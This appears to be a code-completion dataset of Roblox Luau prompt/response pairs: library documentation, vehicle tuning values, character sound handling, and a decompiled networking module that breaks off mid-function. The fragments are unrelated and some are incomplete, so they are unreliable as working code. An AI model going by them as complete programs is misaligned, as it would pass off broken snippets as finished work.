			OnHit = Signal:Create(),
			Tag = DEFAULT_COLLECTION_TAG_NAME,
		}, HitboxData)

		hitbox:_Init()
	end

	return hitbox
end


Prompt:
--This is the anti-max HP exploit script derived from the pirate hp script
--The pirate hp script is in patchs/fixs titled "OldControlHealth"
--Shura

Response:
wait(2)
local player = script.Parent.Parent


Prompt:
-- local Madwork = _G.Madwork
--[[
{Madwork}

-[ProfileService]---------------------------------------
	(STANDALONE VERSION)
	DataStore profiles - universal session-locked savable table API

	Official documentation:
		https://madstudioroblox.github.io/ProfileService/

	DevForum discussion:
		https://devforum.roblox.com/t/ProfileService/667805

	WARNINGS FOR "Profile.Data" VALUES:
	 	! Do not create numeric tables with gaps - attempting to replicate such tables will result in an error;
		! Do not create mixed tables (some values indexed by number and others by string key), as only
		     the data indexed by number will be replicated.
		! Do not index tables by anything other than numbers and strings.
		! Do not reference Roblox Instances
		! Do not reference userdata (Vector3, Color3, CFrame...) - Serialize userdata before referencing
		! Do not reference functions

	WARNING: Calling ProfileStore:LoadProfileAsync() with a "profile_key" which wasn't released in the SAME SESSION will result
		in an error! If you want to "ProfileStore:LoadProfileAsync()" instead of using the already loaded profile, :Release()
		the old Profile object.

	Members:

		ProfileService.ServiceLocked         [bool]

		ProfileService.IssueSignal           [ScriptSignal] (error_message, profile_store_name, profile_key)
		ProfileService.CorruptionSignal      [ScriptSignal] (profile_store_name, profile_key)
		ProfileService.CriticalStateSignal   [ScriptSignal] (is_critical_state)

	Functions:

		ProfileService.GetProfileStore(profile_store_index, profile_template) --> [ProfileStore]
			profile_store_index   [string] -- DataStore name
			OR
			profile_store_index   [table]: -- Allows the developer to define more GlobalDataStore variables
				{
					Name = "StoreName", -- [string] -- DataStore name
					-- Optional arguments:
					Scope = "StoreScope", -- [string] -- DataStore scope
				}
			profile_template      [table] -- Profiles will default to given table (hard-copy) when no data was saved previously

	Members [ProfileStore]:

		ProfileStore.Mock   [ProfileStore] -- Reflection of ProfileStore methods, but the methods will use a mock DataStore

	Methods [ProfileStore]:

		ProfileStore:LoadProfileAsync(profile_key, not_released_handler) --> [Profile / nil] not_released_handler(place_id, game_job_id)
		ProfileStore:GlobalUpdateProfileAsync(profile_key, update_handler) --> [GlobalUpdates / nil] (update_handler(GlobalUpdates))
			-- Returns GlobalUpdates object if update was successful, otherwise returns nil

		ProfileStore:ViewProfileAsync(profile_key) --> [Profile / nil] -- Notice #1: Profile object methods will not be available;
			Notice #2: Profile object members will be nil (Profile.Data = nil, Profile.MetaData = nil) if the profile hasn't
			been created, with the exception of Profile.GlobalUpdates which could be empty or populated by
			ProfileStore:GlobalUpdateProfileAsync()

		ProfileStore:WipeProfileAsync(profile_key) --> is_wipe_successful [bool] -- Completely wipes out profile data from the
			DataStore / mock DataStore with no way to recover it.

		* Parameter description for "ProfileStore:LoadProfileAsync()":

			profile_key            [string] -- DataStore key
			not_released_handler = "ForceLoad" -- Force loads profile on first call
			OR
			not_released_handler = "Steal" -- Steals the profile ignoring it's session lock
			OR
			not_released_handler   [function] (place_id, game_job_id) --> [string] ("Repeat" / "Cancel" / "ForceLoad")
				-- "not_released_handler" will be triggered in cases where the profile is not released by a session. This
				function may yield for as long as desirable and must return one of three string values:
					["Repeat"] - ProfileService will repeat the profile loading proccess and may trigger the release handler again
					["Cancel"] - ProfileStore:LoadProfileAsync() will immediately return nil
					["ForceLoad"] - ProfileService will repeat the profile loading call, but will return Profile object afterwards
						and release the profile for another session that has loaded the profile
					["Steal"] - The profile will usually be loaded immediately, ignoring an existing remote session lock and applying
						a session lock for this session.

		* Parameter description for "ProfileStore:GlobalUpdateProfileAsync()":

			profile_key      [string] -- DataStore key
			update_handler   [function] (GlobalUpdates) -- This function gains access to GlobalUpdates object methods
				(update_handler can't yield)

	Members [Profile]:

		Profile.Data            [table] -- Writable table that gets saved automatically and once the profile is released
		Profile.MetaData        [table] (Read-only) -- Information about this profile

			Profile.MetaData.ProfileCreateTime   [number] (Read-only) -- os.time() timestamp of profile creation
			Profile.MetaData.SessionLoadCount    [number] (Read-only) -- Amount of times the profile was loaded
			Profile.MetaData.ActiveSession       [table] (Read-only) {place_id, game_job_id} / nil -- Set to a session link if a
				game session is currently having this profile loaded; nil if released
			Profile.MetaData.MetaTags            [table] {["tag_name"] = tag_value, ...} -- Saved and auto-saved just like Profile.Data
			Profile.MetaData.MetaTagsLatest      [table] (Read-only) -- Latest version of MetaData.MetaTags that was definetly saved to DataStore
				(You can use Profile.MetaData.MetaTagsLatest for product purchase save confirmation, but create a system to clear old tags after
				they pile up)

		Profile.MetaTagsUpdated [ScriptSignal] (meta_tags_latest) -- Fires after every auto-save, after
			--	Profile.MetaData.MetaTagsLatest has been updated with the version that's guaranteed to be saved;
			--  .MetaTagsUpdated will fire regardless of whether .MetaTagsLatest changed after update;
			--	.MetaTagsUpdated may fire after the Profile is released - changes to Profile.Data are not saved
			--	after release.

		Profile.GlobalUpdates   [GlobalUpdates]

	Methods [Profile]:

		-- SAFE METHODS - Will not error after profile expires:
		Profile:IsActive() --> [bool] -- Returns true while the profile is active and can be written to

		Profile:GetMetaTag(tag_name) --> value

		Profile:Reconcile() -- Fills in missing (nil) [string_key] = [value] pairs to the Profile.Data structure

		Profile:ListenToRelease(listener) --> [ScriptConnection] (place_id / nil, game_job_id / nil) -- WARNING: Profiles can be released externally if another session
			force-loads this profile - use :ListenToRelease() to handle player leaving cleanup.

		Profile:Release() -- Call after the session has finished working with this profile
			e.g., after the player leaves (Profile object will become expired) (Does not yield)

		Profile:ListenToHopReady(listener) --> [ScriptConnection] () -- Passed listener will be executed after the releasing UpdateAsync call finishes;
			--	Wrap universe teleport requests with this method AFTER releasing the profile to improve session lock sharing between universe places;
			--  :ListenToHopReady() will usually call the listener in around a second, but may ocassionally take up to 7 seconds when a release happens
			--	next to an auto-update in regular usage scenarios.

		Profile:Identify() --> [string] -- Returns a string containing DataStore name, scope and key; Used for debug;
			-- Example return: "[Store:"GameData";Scope:"Live";Key:"Player_2312310"]"

		-- DANGEROUS METHODS - Will error if the profile is expired:
		-- MetaTags - Save and read values stored in Profile.MetaData for storing info about the
			profile itself like "Profile:SetMetaTag("FirstTimeLoad", true)"
		Profile:SetMetaTag(tag_name, value)

		Profile:Save() -- Call to quickly progress global update state or to speed up save validation processes (Does not yield)

	Methods [GlobalUpdates]:

	-- ALWAYS PUBLIC:
		GlobalUpdates:GetActiveUpdates() --> [table] {{update_id, update_data}, ...}
		GlobalUpdates:GetLockedUpdates() --> [table] {{update_id, update_data}, ...}

	-- ONLY WHEN FROM "Profile.GlobalUpdates":
		GlobalUpdates:ListenToNewActiveUpdate(listener) --> [ScriptConnection] listener(update_id, update_data)
		GlobalUpdates:ListenToNewLockedUpdate(listener) --> [ScriptConnection] listener(update_id, update_data)
		-- WARNING: GlobalUpdates:LockUpdate() and GlobalUpdates:ClearLockedUpdate() will error after profile expires
		GlobalUpdates:LockActiveUpdate(update_id)
		GlobalUpdates:ClearLockedUpdate(update_id)

	-- EXPOSED TO "update_handler" DURING ProfileStore:GlobalUpdateProfileAsync() CALL
		GlobalUpdates:AddActiveUpdate(update_data)
		GlobalUpdates:ChangeActiveUpdate(update_id, update_data)
		GlobalUpdates:ClearActiveUpdate(update_id)

--]]

Response:
local SETTINGS = {

	AutoSaveProfiles = 30, -- Seconds (This value may vary - ProfileService will split the auto save load evenly in the given time)
	RobloxWriteCooldown = 7, -- Seconds between successive DataStore calls for the same key
	ForceLoadMaxSteps = 8, -- Steps taken before ForceLoad request steals the active session for a profile
	AssumeDeadSessionLock = 30 * 60, -- (seconds) If a profile hasn't been updated for 30 minutes, assume the session lock is dead
		-- As of writing, os.time() is not completely reliable, so we can only assume session locks are dead after a significant amount of time.

	IssueCountForCriticalState = 5, -- Issues to collect to announce critical state
	IssueLast = 120, -- Seconds
	CriticalStateLast = 120, -- Seconds

	MetaTagsUpdatedValues = { -- Technical stuff - do not alter
		ProfileCreateTime = true,
		SessionLoadCount = true,
		ActiveSession = true,
		ForceLoadSession = true,
		LastUpdate = true,
	}

}

local Madwork -- Standalone Madwork reference for portable version of ProfileService
do

	local MadworkScriptSignal = {}

	local ScriptConnection = {}

	function ScriptConnection:Disconnect()
		local listener = self._listener
		if listener ~= nil then
			local script_signal = self._script_signal
			local fire_pointer_stack = script_signal._fire_pointer_stack
			local listeners_next = script_signal._listeners_next
			local listeners_back = script_signal._listeners_back
			-- Check fire pointers:
			for i = 1, script_signal._stack_count do
				if fire_pointer_stack[i] == listener then
					fire_pointer_stack[i] = listeners_next[listener]
				end
			end
			-- Remove listener:
			if script_signal._tail_listener == listener then
				local new_tail = listeners_back[listener]
				if new_tail ~= nil then
					listeners_next[new_tail] = nil
					listeners_back[listener] = nil
				else
					script_signal._head_listener = nil -- tail was also head
				end
				script_signal._tail_listener = new_tail
			elseif script_signal._head_listener == listener then
				-- If this listener is not the tail, assume another listener is the tail:
				local new_head = listeners_next[listener]
				listeners_back[new_head] = nil
				listeners_next[listener] = nil
				script_signal._head_listener = new_head
			else
				local next_listener = listeners_next[listener]
				local back_listener = listeners_back[listener]
				if next_listener ~= nil or back_listener ~= nil then -- Catch cases when duplicate listeners are disconnected
					listeners_next[back_listener] = next_listener
					listeners_back[next_listener] = back_listener
					listeners_next[listener] = nil
					listeners_back[listener] = nil
				end
			end
			self._listener = nil
			script_signal._listener_count -= 1
		end
		if self._disconnect_listener ~= nil then
			self._disconnect_listener(self._disconnect_param)
			self._disconnect_listener = nil
		end
	end

	local ScriptSignal = {}

	function ScriptSignal:Connect(listener, disconnect_listener, disconnect_param) --> [ScriptConnection]
		if type(listener) ~= "function" then
			error("[MadworkScriptSignal]: Only functions can be passed to ScriptSignal:Connect()")
		end
		local tail_listener = self._tail_listener
		if tail_listener == nil then
			self._head_listener = listener
			self._tail_listener = listener
			self._listener_count += 1
		elseif tail_listener ~= listener and self._listeners_next[listener] == nil then -- Prevent connecting the same listener more than once
			self._listeners_next[tail_listener] = listener
			self._listeners_back[listener] = tail_listener
			self._tail_listener = listener
			self._listener_count += 1
		end
		return {
			_listener = listener,
			_script_signal = self,
			_disconnect_listener = disconnect_listener,
			_disconnect_param = disconnect_param,
			Disconnect = ScriptConnection.Disconnect
		}
	end

	function ScriptSignal:GetListenerCount()
		return self._listener_count
	end

	function ScriptSignal:Fire(...)
		local fire_pointer_stack = self._fire_pointer_stack
		local stack_id = self._stack_count + 1
		self._stack_count = stack_id

		local listeners_next = self._listeners_next
		fire_pointer_stack[stack_id] = self._head_listener
		while true do
			local pointer = fire_pointer_stack[stack_id]
			fire_pointer_stack[stack_id] = listeners_next[pointer]
			if pointer ~= nil then
				coroutine.wrap(pointer)(...)
			else
				break
			end
		end
		self._stack_count -= 1
	end

	function ScriptSignal:FireUntil(continue_callback, ...)
		local fire_pointer_stack = self._fire_pointer_stack
		local stack_id = self._stack_count + 1
		self._stack_count = stack_id

		local listeners_next = self._listeners_next
		fire_pointer_stack[stack_id] = self._head_listener
		while true do
			local pointer = fire_pointer_stack[stack_id]
			fire_pointer_stack[stack_id] = listeners_next[pointer]
			if pointer ~= nil then
				coroutine.wrap(pointer)(...)
				if continue_callback() ~= true then
					fire_pointer_stack[stack_id] = nil
					break
				end
			else
				break
			end
		end
		self._stack_count -= 1
	end

	function MadworkScriptSignal.NewScriptSignal() --> [ScriptSignal]
		return {
			_fire_pointer_stack = {},
			_stack_count = 0,
			_listener_count = 0,
			_listeners_next = {},
			_listeners_back = {},
			_head_listener = nil,
			_tail_listener = nil,
			Connect = ScriptSignal.Connect,
			GetListenerCount = ScriptSignal.GetListenerCount,
			Fire = ScriptSignal.Fire,
			FireUntil = ScriptSignal.FireUntil,
		}
	end

	local RunService = game:GetService("RunService")
	local Heartbeat = RunService.Heartbeat

	Madwork = {
		NewScriptSignal = MadworkScriptSignal.NewScriptSignal,
		HeartbeatWait = function(wait_time) --> time_elapsed
			if wait_time == nil or wait_time == 0 then
				return Heartbeat:Wait()
			else
				local time_elapsed = 0
				while time_elapsed <= wait_time do
					local time_waited = Heartbeat:Wait()
					time_elapsed = time_elapsed + time_waited
				end
				return time_elapsed
			end
		end,
		ConnectToOnClose = function(task, run_in_studio_mode)
			if game:GetService("RunService"):IsStudio() == false or run_in_studio_mode == true then
				game:BindToClose(task)
			end
		end,
	}
end


Prompt:
--[[ Constants ]]--
-- Set this to true if you want to instead use the triggers for the throttle

Response: local useTriggersForThrottle = true


Prompt: -- (Hat Giver Script - Loaded.)

Response:
debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Handle"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle"
		p.formFactor = 0
		p.Size = Vector3.new(2,2,2)
		p.BottomSurface = 0
		p.TopSurface = 0
		p.Locked = true
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0, 0, 0)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)


Prompt:
-- Reparents an instance and outputs helpful logging information so we can see
-- where instances are going at runtime.

Response:
local function move(instance: Instance, newParent: Instance)
	instance.Parent = newParent
	log("move", ("%s -> %s"):format(instance.Name, instance:GetFullName()))
end


Prompt: -- Add tracer decal to server storage if it isn't already there

Response:
if not game.ServerStorage:FindFirstChild("ROBLOX_PistolTracerDecal") then
	tool.ROBLOX_PistolTracerDecal:Clone().Parent = game.ServerStorage
end


Prompt: -- ON STARTUP

Response:
if IS_MOBILE then
	InteractionBillboardButton.Image = MOBILE_IMAGE
elseif IS_CONSOLE then
	InteractionBillboardButton.Image = CONSOLE_IMAGE
else
	InteractionBillboardButton.Image = DEFAULT_IMAGE
end


Prompt: --[[Susupension]]

Response:
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled

	--Front Suspension
	Tune.FSusDamping	= 500		-- Spring Dampening
	Tune.FSusStiffness	= 9000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)

	Tune.FSusLength		= 1.5			-- Suspension length (in studs)
	Tune.FPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Rear Suspension
	Tune.RSusDamping	= 500		-- Spring Dampening
	Tune.RSusStiffness	= 9000		-- Spring Force
	Tune.FAntiRoll 		= 50		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 1.5			-- Suspension length (in studs)
	Tune.RPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .3		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= .1		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Bright red"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness


Response:
script.Parent.Values.RPM.Changed:connect(function()
	intach.Rotation = -65 + script.Parent.Values.RPM.Value * 250 / 8000
end)


Response:
local screenGuis = {}
local freeCamEnabled = false

local stateRot = Vector2.new()
local panDeltaGamepad = Vector2.new()
local panDeltaMouse = Vector2.new()

local velSpring = Spring.new(7/9, 1/3, 1, Vector3.new())
local rotSpring = Spring.new(7/9, 1/3, 1, Vector2.new())
local fovSpring = Spring.new(2,   1/3, 1, 0)

local letterbox = LETTERBOX and CreateLetterBox()

local gp_x  = 0
local gp_z  = 0
local gp_l1 = 0
local gp_r1 = 0
local rate_fov = 0

local SpeedModifier = 1


Prompt: -- map a value from one range to another

Response:
local function map(x: number, inMin: number, inMax: number, outMin: number, outMax: number): number
	return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin
end

local function playSound(sound: Sound)
	sound.TimePosition = 0
	sound.Playing = true
end

local function shallowCopy(t)
	local out = {}
	for k, v in pairs(t) do
		out[k] = v
	end
	return out
end

local function initializeSoundSystem(instances)
	local player = instances.player
	local humanoid = instances.humanoid
	local rootPart = instances.rootPart

	local sounds: {[string]: Sound} = {}

	-- initialize sounds
	for name: string, props: {[string]: any} in pairs(SOUND_DATA) do
		local sound: Sound = Instance.new("Sound")
		sound.Name = name

		-- set default values
		sound.Archivable = false
		sound.RollOffMinDistance = 5
		sound.RollOffMaxDistance = 150
		sound.Volume = 0.65

		for propName, propValue: any in pairs(props) do
			(sound :: any)[propName] = propValue
		end

		sound.Parent = rootPart
		sounds[name] = sound
	end

	local playingLoopedSounds: {[Sound]: boolean?} = {}

	local function stopPlayingLoopedSounds(except: Sound?)
		for sound in pairs(shallowCopy(playingLoopedSounds)) do
			if sound ~= except then
				sound.Playing = false
				playingLoopedSounds[sound] = nil
			end
		end
	end

	-- state transition callbacks.
	local stateTransitions: {[Enum.HumanoidStateType]: () -> ()} = {
		[Enum.HumanoidStateType.FallingDown] = function()
			stopPlayingLoopedSounds()
		end,

		[Enum.HumanoidStateType.GettingUp] = function()
			stopPlayingLoopedSounds()
			playSound(sounds.GettingUp)
		end,

		[Enum.HumanoidStateType.Jumping] = function()
			stopPlayingLoopedSounds()
			playSound(sounds.Jumping)
		end,

		[Enum.HumanoidStateType.Swimming] = function()
			local verticalSpeed = math.abs(rootPart.AssemblyLinearVelocity.Y)
			if verticalSpeed > 0.1 then
				sounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1)
				playSound(sounds.Splash)
			end
			stopPlayingLoopedSounds(sounds.Swimming)
			sounds.Swimming.Playing = true
			playingLoopedSounds[sounds.Swimming] = true
		end,

		[Enum.HumanoidStateType.Freefall] = function()
			sounds.FreeFalling.Volume = 0
			stopPlayingLoopedSounds(sounds.FreeFalling)
			playingLoopedSounds[sounds.FreeFalling] = true
		end,

		[Enum.HumanoidStateType.Landed] = function()
			stopPlayingLoopedSounds()
			local verticalSpeed = math.abs(rootPart.AssemblyLinearVelocity.Y)
			if verticalSpeed > 75 then
				sounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1)
				playSound(sounds.Landing)
			end
		end,

		[Enum.HumanoidStateType.Running] = function()
			stopPlayingLoopedSounds(sounds.Running)
			sounds.Running.Playing = true
			playingLoopedSounds[sounds.Running] = true
		end,

		[Enum.HumanoidStateType.Climbing] = function()
			local sound = sounds.Climbing
			if math.abs(rootPart.AssemblyLinearVelocity.Y) > 0.1 then
				sound.Playing = true
				stopPlayingLoopedSounds(sound)
			else
				stopPlayingLoopedSounds()
			end
			playingLoopedSounds[sound] = true
		end,

		[Enum.HumanoidStateType.Seated] = function()
			stopPlayingLoopedSounds()
		end,

		[Enum.HumanoidStateType.Dead] = function()
			stopPlayingLoopedSounds()
			playSound(sounds.Died)
		end,
	}

	-- updaters for looped sounds
	local loopedSoundUpdaters: {[Sound]: (number, Sound, Vector3) -> ()} = {
		[sounds.Climbing] = function(dt: number, sound: Sound, vel: Vector3)
			sound.Playing = vel.Magnitude > 0.1
		end,

		[sounds.FreeFalling] = function(dt: number, sound: Sound, vel: Vector3): ()
			if vel.Magnitude > 75 then
				sound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1)
			else
				sound.Volume = 0
			end
		end,

		[sounds.Running] = function(dt: number, sound: Sound, vel: Vector3)
			sound.Playing = vel.Magnitude > 0.5 and humanoid.MoveDirection.Magnitude > 0.5
		end,
	}

	-- state substitutions to avoid duplicating entries in the state table
	local stateRemap: {[Enum.HumanoidStateType]: Enum.HumanoidStateType} = {
		[Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running,
	}

	local activeState: Enum.HumanoidStateType = stateRemap[humanoid:GetState()] or humanoid:GetState()

	local stateChangedConn = humanoid.StateChanged:Connect(function(_, state)
		state = stateRemap[state] or state

		if state ~= activeState then
			local transitionFunc: () -> () = stateTransitions[state]

			if transitionFunc then
				transitionFunc()
			end

			activeState = state
		end
	end)

	local steppedConn = RunService.Stepped:Connect(function(_, worldDt: number)
		-- update looped sounds on stepped
		for sound in pairs(playingLoopedSounds) do
			local updater: (number, Sound, Vector3) -> () = loopedSoundUpdaters[sound]

			if updater then
				updater(worldDt, sound, rootPart.AssemblyLinearVelocity)
			end
		end
	end)

	local function terminate()
		stateChangedConn:Disconnect()
		steppedConn:Disconnect()

		-- Unparent all sounds and empty sounds table
		-- This is needed in order to support the case where initializeSoundSystem might be called more than once for the same player,
		-- which might happen in case player character is unparented and parented back on server and reset-children mechanism is active.
		for name: string, sound: Sound in pairs(sounds) do
			sound:Destroy()
		end
		table.clear(sounds)
	end

	return terminate
end

local binding = AtomicBinding.new({
	humanoid = "Humanoid",
	rootPart = "HumanoidRootPart",
}, initializeSoundSystem)

local playerConnections = {}

local function characterAdded(character)
	binding:bindRoot(character)
end

local function characterRemoving(character)
	binding:unbindRoot(character)
end

local function playerAdded(player: Player)
	local connections = playerConnections[player]
	if not connections then
		connections = {}
		playerConnections[player] = connections
	end

	if player.Character then
		characterAdded(player.Character)
	end
	table.insert(connections, player.CharacterAdded:Connect(characterAdded))
	table.insert(connections, player.CharacterRemoving:Connect(characterRemoving))
end

local function playerRemoving(player: Player)
	local connections = playerConnections[player]
	if connections then
		for _, conn in ipairs(connections) do
			conn:Disconnect()
		end
		playerConnections[player] = nil
	end

	if player.Character then
		characterRemoving(player.Character)
	end
end

for _, player in ipairs(Players:GetPlayers()) do
	task.spawn(playerAdded, player)
end
Players.PlayerAdded:Connect(playerAdded)
Players.PlayerRemoving:Connect(playerRemoving)


Prompt:
--[[

	LOWGames Studios
	Date: 27 October 2022
	by Elder

]]

Response:
--

local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
end)();
local v1 = Random.new();
return function()
	return string.gsub(u1.HttpService:GenerateGUID(false), "-", "");
end;


Prompt: --Boss script (do not use on simple npc)

Response:
	script.Parent.HealthChanged:Connect(function()
		if script.Parent.Health == 0 then
			game.Workspace.Playing.Value = -1
		end
end)


Prompt: --Note: Ignore the blue lines under workspace. Keep it capitalized.


Prompt:
--[[
	[Horizontal and Vertical limits for head and body tracking.]
	[Setting to 0 negates tracking, setting to 1 is normal tracking, and setting to anything higher than 1 goes past real life head/body rotation capabilities.]
--]]

Response:
local HeadHorFactor = 0.9
local HeadVertFactor = 0.6
local BodyHorFactor = 0.8
local BodyVertFactor = 0.6


Prompt: --Turbocharger

Response:
local BOV_Loudness = 2	--volume of the BOV (not exact volume so you kinda have to experiment with it)
local BOV_Pitch = 0.9	--max pitch of the BOV (not exact so might have to mess with it)


Prompt: --[[Status Vars]]

Response:
	local _IsOn = _Tune.AutoStart
	if _Tune.AutoStart then script.Parent.IsOn.Value=true end

	local _GSteerT=0
	local _GSteerC=0
	local _GThrot=0
	local _GBrake=0

	local _ClutchOn = true
	local _ClPressing = false
	local _RPM = 0
	local _HP = 0
	local _OutTorque = 0
	local _CGear = 0

	local _TMode = _Tune.TransModes[1]

	local _MSteer = false
	local _SteerL = false
	local _SteerR = false
	local _PBrake = false
	local _TCS = _Tune.TCSEnabled
	local _TCSActive = false
	local _ABS = _Tune.ABSEnabled
	local _ABSActive = false

	local FlipWait=tick()
	local FlipDB=false

	local _InControls = false


Prompt: -- METHODS

Response:
function Tracker:_preventMultiFrameUpdates(methodName, ...)
	-- This prevents the funtion being called twice within a single frame
	-- If called more than once, the function will initally be delayed again until the next frame, then all others cancelled
	self._preventMultiDetails = self._preventMultiDetails or {}
	local detail = self._preventMultiDetails[methodName]
	if not detail then
		detail = {
			calling = false,
			callsThisFrame = 0,
			updatedThisFrame = false,
		}
		self._preventMultiDetails[methodName] = detail
	end

	detail.callsThisFrame += 1
	if detail.callsThisFrame == 1 then
		local args = table.pack(...)
		task.defer(function()
			local newCallsThisFrame = detail.callsThisFrame
			detail.callsThisFrame = 0
			if newCallsThisFrame > 1 then
				self[methodName](self, unpack(args))
			end
		end)
		return false
	end
	return true
end

function Tracker:update()
	if self:_preventMultiFrameUpdates("update") then
		return
	end

	self.totalVolume = 0
	self.parts = {}
	self.partToItem = {}
	self.items = {}

	-- This tracks the bodyparts of a character
	for character, _ in pairs(self.characters) do
		local charSize = Tracker.getCharacterSize(character)
		if not charSize then
			continue
		end
		local rSize = charSize
		local charVolume = rSize.X*rSize.Y*rSize.Z
		self.totalVolume += charVolume

		local characterJanitor = self.janitor:add(Janitor.new(), "destroy", "trackCharacterParts-"..self.name)
		local function updateTrackerOnParentChanged(instance)
			characterJanitor:add(instance.AncestryChanged:Connect(function()
				if not instance:IsDescendantOf(game) then
					if instance.Parent == nil and characterJanitor ~= nil then
						characterJanitor:destroy()
						characterJanitor = nil
						self:update()
					end
				end
			end), "Disconnect")
		end

		for _, part in pairs(character:GetChildren()) do
			if part:IsA("BasePart") and not Tracker.bodyPartsToIgnore[part.Name] then
				self.partToItem[part] = character
				table.insert(self.parts, part)
				updateTrackerOnParentChanged(part)
			end
		end
		updateTrackerOnParentChanged(character)
		table.insert(self.items, character)
	end

	-- This tracks any additional baseParts
	for additionalPart, _ in pairs(self.baseParts) do
		local rSize = additionalPart.Size
		local partVolume = rSize.X*rSize.Y*rSize.Z
		self.totalVolume += partVolume
		self.partToItem[additionalPart] = additionalPart
		table.insert(self.parts, additionalPart)
		table.insert(self.items, additionalPart)
	end

	-- This creates the whitelist so that
	self.whitelistParams = OverlapParams.new()
	self.whitelistParams.FilterType = Enum.RaycastFilterType.Whitelist
	self.whitelistParams.MaxParts = #self.parts
	self.whitelistParams.FilterDescendantsInstances = self.parts
end

return Tracker


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local u1 = nil;
coroutine.wrap(function()
	u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
end)();
local l__Events__1 = u1.Assets.Events;
local v2 = {};
local u2 = u1.RunService:IsServer();
function v2.Fire(p1, p2, ...)
	local v3 = nil;
	p1 = string.lower(p1);
	v3 = GetRemote(p1);
	if not u2 then
		v3:FireServer((CreatePacket(p2, ...)));
		return;
	end;
	if not p2:FindFirstChild("__LOADED") then
		return;
	end;
	v3:FireClient(p2, (CreatePacket(...)));
end;
function v2.FireAll(p3, ...)
	p3 = string.lower(p3);
	local v4 = GetRemote(p3);
	local v5 = CreatePacket(...);
	local v6 = {};
	local v7 = game.Players:GetPlayers();

	for v8, v9 in ipairs(v7) do
		if not v8 then
			break;
		end;
		if v9:FindFirstChild("__LOADED") then
			table.insert(v6, v9);
		end;
	end;
	if #v7 <= #v6 then
		v4:FireAllClients(v5);
		return;
	end;

	for v11, v12 in ipairs(v6) do
		if not v11 then
			break;
		end;
		coroutine.wrap(function()
			v4:FireClient(v12, v5);
		end)();
	end;
end;
function v2.Invoke(p4, p5, ...)
	p4 = string.lower(p4);
	local v14 = GetRemote(p4, true);
	if not u2 then
		u1.Signal.Fire("CORE Network Invoke", p4);
	end;
	if not u2 then
		return DecodePacket(v14:InvokeServer((CreatePacket(p5, ...))));
	end;
	if not p5:FindFirstChild("__LOADED") then
		return;
	end;
	return DecodePacket(v14:InvokeClient(p5, (CreatePacket(...))));
end;
function v2.Fired(p6)
	p6 = string.lower(p6);
	return GetEvent(p6).Event;
end;
function v2.Invoked(p7)
	p7 = string.lower(p7);
	return GetEvent(p7, true);
end;
function v2.Recieve(p8, ...)
	local v15 = { ... };
	if p8 == "a" then
		GetRemote(unpack(v15));
		return;
	end;
	if p8 == "b" then
		GetRemote(unpack(v15), true);
		return;
	end;
	if p8 == "c" then
		local v16, v17 = unpack(v15);
		GetEvent(v16):Fire(DecodePacket(v17));
		return;
	end;
	if p8 == "d" then
		local v18, v19 = unpack(v15);
		return CreatePacket(GetEvent(v18, true):Invoke(DecodePacket(v19)));
	end;
	if p8 == "e" then
		local v20, v21, v22 = unpack(v15);
		GetEvent(v20):Fire(v21, DecodePacket(v22));
		return;
	end;
	if p8 ~= "f" then
		return;
	end;
	local v23, v24, v25 = unpack(v15);
	return CreatePacket(GetEvent(v23, true):Invoke(v24, DecodePacket(v25)));
end;
function CreatePacket(...)
	return { ... };
end;
function DecodePacket(p9)
	return unpack(p9);
end;
local u3 = {};
function GetEvent(p10, p11)
	p10 = string.lower(p10);
	local v26 = u3[p10];
	if not v26 then
		local v27 = "BindableEvent";
		if p11 then
			v27 = "BindableFunction";
		end;
		v26 = Instance.new(v27);
		v26.Name = p10;
		v26.Parent = script;
		u3[p10] = v26;
	end;
	return v26;
end;
local l__MAIN__4 = l__Events__1:WaitForChild("MAIN");
function GetRemote(p12, p13)
